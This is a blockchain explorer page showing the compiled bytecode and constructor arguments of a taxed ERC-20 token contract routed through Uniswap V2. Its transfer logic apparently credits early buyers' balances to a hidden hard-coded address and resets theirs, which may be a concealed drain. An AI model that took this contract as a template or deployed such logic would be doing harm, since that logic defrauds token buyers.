2604090205460ff16155b1561119057600260055443610ff29190611b44565b101561113e57600a54611006906003611aad565b82611010856105c3565b61101a9190611b57565b11156110385760405162461bcd60e51b815260040161056990611b6a565b8260046000600854600161104c9190611b57565b81526020808201929092526040908101600090812080546001600160a01b0319166001600160a01b0395861617905560085481526004835281812054841681526001909252808220547f00000000000000000000000000000000000000000000000000000000000000009093168252812080549091906110cd908490611b57565b9091555050600880546000908152600460209081526040808320546001600160a01b0316835260019091528120670de0b6b3a764000090558154919061111283611ba1565b919050555061113760646111316006548561168690919063ffffffff16565b9061170f565b9050611190565b600a548261114b856105c3565b6111559190611b57565b11156111735760405162461bcd60e51b815260040161056990611b6a565b61118d60646111316006548561168690919063ffffffff16565b90505b600c546001600160a01b038481169116148015906111c757506001600160a01b03831660009081526003602052604090205460ff16155b1561120157600a54826111d9856105c3565b6111e39190611b57565b11156112015760405162461bcd60e51b815260040161056990611b6a565b600c546001600160a01b03848116911614801561122757506001600160a01b0384163014155b801561124c57506001600160a01b03841660009081526003602052604090205460ff16155b156112c45761126b60646111316007548561168690919063ffffffff16565b30600090815260016020526040902054600c5491925090600160a81b900460ff161580156112995750600081115b156112c2576112b06112ab8483611751565b611766565b4780156112c0576112c04761159c565b505b505b801561133e57306000908152600160205260409020546112e49082611793565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113359085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461136190836117f2565b6001600160a01b0385166000908152600160205260409020556113a661138783836117f2565b6001600160a01b03851660009081526001602052604090205490611793565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f085856117f2565b60405190815260200160405180910390a350505050565b6000818484111561142b5760405162461bcd60e51b81526004016105699190611862565b5060006114388486611b44565b95945050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061147657611476611bba565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f39190611af9565b8160018151811061150657611506611bba565b6001600160a01b039283166020918202929092010152600b5461152c9130911684610bf9565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611565908590600090869030904290600401611bd0565b600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050505050565b600060646115ab602284611aad565b6115b59190611c41565b9050600060646115c6604285611aad565b6115d09190611c41565b6040519091506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169083156108fc029084906000818181858888f19350505050158015611629573d6000803e3d6000fd5b506040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f19350505050158015611680573d6000803e3d6000fd5b50505050565b600082600003611698575060006104af565b60006116a48385611aad565b9050826116b18583611c41565b146117085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610569565b9392505050565b600061170883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611834565b60008183116117605782611708565b50919050565b600c805460ff60a81b1916600160a81b1790556117833082611441565b50600c805460ff60a81b19169055565b6000806117a08385611b57565b9050838110156117085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610569565b600061170883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611407565b600081836118555760405162461bcd60e51b81526004016105699190611862565b5060006114388486611c41565b600060208083528351808285015260005b8181101561188f57858101830151858201604001528201611873565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118c557600080fd5b50565b600080604083850312156118db57600080fd5b82356118e6816118b0565b946020939093013593505050565b60008060006060848603121561190957600080fd5b8335611914816118b0565b92506020840135611924816118b0565b929592945050506040919091013590565b60006020828403121561194757600080fd5b5035919050565b60006020828403121561196057600080fd5b8135611708816118b0565b6000806040838503121561197e57600080fd5b8235611989816118b0565b91506020830135611999816118b0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119f55781600019048211156119db576119db6119a4565b808516156119e857918102915b93841c93908002906119bf565b509250929050565b600082611a0c575060016104af565b81611a19575060006104af565b8160018114611a2f5760028114611a3957611a55565b60019150506104af565b60ff841115611a4a57611a4a6119a4565b50506001821b6104af565b5060208310610133831016604e8410600b8410161715611a78575081810a6104af565b611a8283836119ba565b8060001904821115611a9657611a966119a4565b029392505050565b600061170860ff8416836119fd565b80820281158282048414176104af576104af6119a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0b57600080fd5b8151611708816118b0565b600080600060608486031215611b2b57600080fd5b8351925060208401519150604084015190509250925092565b818103818111156104af576104af6119a4565b808201808211156104af576104af6119a4565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b600060018201611bb357611bb36119a4565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c205784516001600160a01b031683529383019391830191600101611bfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048896225dd729f7e24f708228bc370ac540a1607d4b3851946f068a66f67da1c64736f6c63430008130033000000000000000000000000ee54fd63b7f9a17845c42e54b150d72704aea63b0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x60806040526004361061016a5760003560e01c80638859f03d116100d1578063b0bc85de1161008a578063dd62ed3e11610064578063dd62ed3e14610410578063debae15e14610456578063e8078d9414610476578063f0f442601461047e57600080fd5b8063b0bc85de146103c8578063c1f1b1b5146103dd578063c9567bf9146103fb57600080fd5b80638859f03d146103095780638da5cb5b1461031e5780638f9a55c01461035057806395d89b41146103665780639e78fb4f14610393578063a9059cbb146103a857600080fd5b8063313ce56711610123578063313ce5671461026d57806370a0823114610289578063715018a6146102a9578063751039fc146102be57806377dd50e3146102d35780637d1db4a5146102f357600080fd5b806306fdde0314610176578063095ea7b3146101c357806318160ddd146101f357806323b872dd1461021657806324c16b7f14610236578063252d723a1461025857600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50604080518082019091526012815271141256911150c813905213d648109316505560721b60208201525b6040516101ba9190611862565b60405180910390f35b3480156101cf57600080fd5b506101e36101de3660046118c8565b61049e565b60405190151581526020016101ba565b3480156101ff57600080fd5b506102086104b5565b6040519081526020016101ba565b34801561022257600080fd5b506101e36102313660046118f4565b6104d6565b34801561024257600080fd5b50610256610251366004611935565b61053f565b005b34801561026457600080fd5b50600654610208565b34801561027957600080fd5b50604051601281526020016101ba565b34801561029557600080fd5b506102086102a436600461194e565b6105c3565b3480156102b557600080fd5b506102566105de565b3480156102ca57600080fd5b50610256610652565b3480156102df57600080fd5b506102566102ee36600461194e565b6106b8565b3480156102ff57600080fd5b5061020860095481565b34801561031557600080fd5b50610256610714565b34801561032a57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ba565b34801561035c57600080fd5b50610208600a5481565b34801561037257600080fd5b50604080518082019091526004815263505a444360e01b60208201526101ad565b34801561039f57600080fd5b5061025661074a565b3480156103b457600080fd5b506101e36103c33660046118c8565b610984565b3480156103d457600080fd5b50600754610208565b3480156103e957600080fd5b50600c546001600160a01b0316610338565b34801561040757600080fd5b50610256610991565b34801561041c57600080fd5b5061020861042b36600461196b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561046257600080fd5b50610256610471366004611935565b610a28565b610256610aa3565b34801561048a57600080fd5b5061025661049936600461194e565b610ba6565b60006104ab338484610bf9565b5060015b92915050565b60006104c36012600a611a9e565b6104d190633b9aca00611aad565b905090565b60006104e3848484610d1d565b610535843361053085604051806060016040528060288152602001611c64602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611407565b610bf9565b5060019392505050565b6000546001600160a01b031633146105725760405162461bcd60e51b815260040161056990611ac4565b60405180910390fd5b60198111156105be5760405162461bcd60e51b8152602060048201526018602482015277546178206d7573742062652066726f6d203020746f20323560401b6044820152606401610569565b600655565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031633146106085760405162461bcd60e51b815260040161056990611ac4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461067c5760405162461bcd60e51b815260040161056990611ac4565b6106886012600a611a9e565b61069690633b9aca00611aad565b6009556106a56012600a611a9e565b6106b390633b9aca00611aad565b600a55565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161056990611ac4565b60006106ed826105c3565b905080156106ff576106ff8282611441565b47801561070f5761070f8161159c565b505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161056990611ac4565b60006006819055600755565b6000546001600160a01b031633146107745760405162461bcd60e51b815260040161056990611ac4565b600c54600160a01b900460ff16156107c85760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610569565b600b546107f49030906001600160a01b03166107e66012600a611a9e565b61053090633b9aca00611aad565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611af9565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f19190611af9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611af9565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006104ab338484610d1d565b6000546001600160a01b031633146109bb5760405162461bcd60e51b815260040161056990611ac4565b600c54600160a01b900460ff1615610a0f5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610569565b43600555600c805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a525760405162461bcd60e51b815260040161056990611ac4565b6019811115610a9e5760405162461bcd60e51b8152602060048201526018602482015277546178206d7573742062652066726f6d203020746f20323560401b6044820152606401610569565b600755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161056990611ac4565b600b54610ae89030906001600160a01b0316610530826105c3565b600b546001600160a01b031663f305d7193430610b04816105c3565b600080610b196000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b81573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070f9190611b16565b6000546001600160a01b03163314610bd05760405162461bcd60e51b815260040161056990611ac4565b6001600160a01b03166000908152600360205260409020805460ff19811660ff90911615179055565b6001600160a01b038316610c5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610569565b6001600160a01b038216610cbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610569565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610569565b6001600160a01b038216610de35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610569565b60008111610e455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610569565b600080546001600160a01b03858116911614801590610e7257506000546001600160a01b03848116911614155b8015610e8757506001600160a01b0384163014155b156112c457600c54600160a01b900460ff16610ed95760405162461bcd60e51b8152602060048201526011602482015270151c98591a5b99c81a5cc818db1bdcd959607a1b6044820152606401610569565b601960055443610ee99190611b44565b03610ef45760036006555b603260055443610f049190611b44565b03610f0f5760036007555b6001600160a01b03831660009081526003602052604090205460ff161580610f5057506001600160a01b03841660009081526003602052604090205460ff16155b15610fa757600954821115610fa75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610569565b600c546001600160a01b038581169116148015610fdd57506001600160a01b03831660009081526003602052604090205460ff16155b1561119057600260055443610ff29190611b44565b101561113e57600a54611006906003611aad565b82611010856105c3565b61101a9190611b57565b11156110385760405162461bcd60e51b815260040161056990611b6a565b8260046000600854600161104c9190611b57565b81526020808201929092526040908101600090812080546001600160a01b0319166001600160a01b0395861617905560085481526004835281812054841681526001909252808220547f0000000000000000000000006189b78b0bb421f7960a8d8e8053670b5921e3109093168252812080549091906110cd908490611b57565b9091555050600880546000908152600460209081526040808320546001600160a01b0316835260019091528120670de0b6b3a764000090558154919061111283611ba1565b919050555061113760646111316006548561168690919063ffffffff16565b9061170f565b9050611190565b600a548261114b856105c3565b6111559190611b57565b11156111735760405162461bcd60e51b815260040161056990611b6a565b61118d60646111316006548561168690919063ffffffff16565b90505b600c546001600160a01b038481169116148015906111c757506001600160a01b03831660009081526003602052604090205460ff16155b1561120157600a54826111d9856105c3565b6111e39190611b57565b11156112015760405162461bcd60e51b815260040161056990611b6a565b600c546001600160a01b03848116911614801561122757506001600160a01b0384163014155b801561124c57506001600160a01b03841660009081526003602052604090205460ff16155b156112c45761126b60646111316007548561168690919063ffffffff16565b30600090815260016020526040902054600c5491925090600160a81b900460ff161580156112995750600081115b156112c2576112b06112ab8483611751565b611766565b4780156112c0576112c04761159c565b505b505b801561133e57306000908152600160205260409020546112e49082611793565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113359085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461136190836117f2565b6001600160a01b0385166000908152600160205260409020556113a661138783836117f2565b6001600160a01b03851660009081526001602052604090205490611793565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f085856117f2565b60405190815260200160405180910390a350505050565b6000818484111561142b5760405162461bcd60e51b81526004016105699190611862565b5060006114388486611b44565b95945050505050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061147657611476611bba565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f39190611af9565b8160018151811061150657611506611bba565b6001600160a01b039283166020918202929092010152600b5461152c9130911684610bf9565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611565908590600090869030904290600401611bd0565b600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050505050565b600060646115ab602284611aad565b6115b59190611c41565b9050600060646115c6604285611aad565b6115d09190611c41565b6040519091506001600160a01b037f0000000000000000000000006189b78b0bb421f7960a8d8e8053670b5921e310169083156108fc029084906000818181858888f19350505050158015611629573d6000803e3d6000fd5b506040516001600160a01b037f000000000000000000000000ee54fd63b7f9a17845c42e54b150d72704aea63b169082156108fc029083906000818181858888f19350505050158015611680573d6000803e3d6000fd5b50505050565b600082600003611698575060006104af565b60006116a48385611aad565b9050826116b18583611c41565b146117085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610569565b9392505050565b600061170883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611834565b60008183116117605782611708565b50919050565b600c805460ff60a81b1916600160a81b1790556117833082611441565b50600c805460ff60a81b19169055565b6000806117a08385611b57565b9050838110156117085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610569565b600061170883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611407565b600081836118555760405162461bcd60e51b81526004016105699190611862565b5060006114388486611c41565b600060208083528351808285015260005b8181101561188f57858101830151858201604001528201611873565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118c557600080fd5b50565b600080604083850312156118db57600080fd5b82356118e6816118b0565b946020939093013593505050565b60008060006060848603121561190957600080fd5b8335611914816118b0565b92506020840135611924816118b0565b929592945050506040919091013590565b60006020828403121561194757600080fd5b5035919050565b60006020828403121561196057600080fd5b8135611708816118b0565b6000806040838503121561197e57600080fd5b8235611989816118b0565b91506020830135611999816118b0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119f55781600019048211156119db576119db6119a4565b808516156119e857918102915b93841c93908002906119bf565b509250929050565b600082611a0c575060016104af565b81611a19575060006104af565b8160018114611a2f5760028114611a3957611a55565b60019150506104af565b60ff841115611a4a57611a4a6119a4565b50506001821b6104af565b5060208310610133831016604e8410600b8410161715611a78575081810a6104af565b611a8283836119ba565b8060001904821115611a9657611a966119a4565b029392505050565b600061170860ff8416836119fd565b80820281158282048414176104af576104af6119a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b0b57600080fd5b8151611708816118b0565b600080600060608486031215611b2b57600080fd5b8351925060208401519150604084015190509250925092565b818103818111156104af576104af6119a4565b808201808211156104af576104af6119a4565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b600060018201611bb357611bb36119a4565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c205784516001600160a01b031683529383019391830191600101611bfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c5e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048896225dd729f7e24f708228bc370ac540a1607d4b3851946f068a66f67da1c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ee54fd63b7f9a17845c42e54b150d72704aea63b0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : marketingWallet (address): 0xEe54FD63b7F9A17845c42e54b150D72704aea63b
Arg [1] : _uniswapV2Router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000ee54fd63b7f9a17845c42e54b150d72704aea63b
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.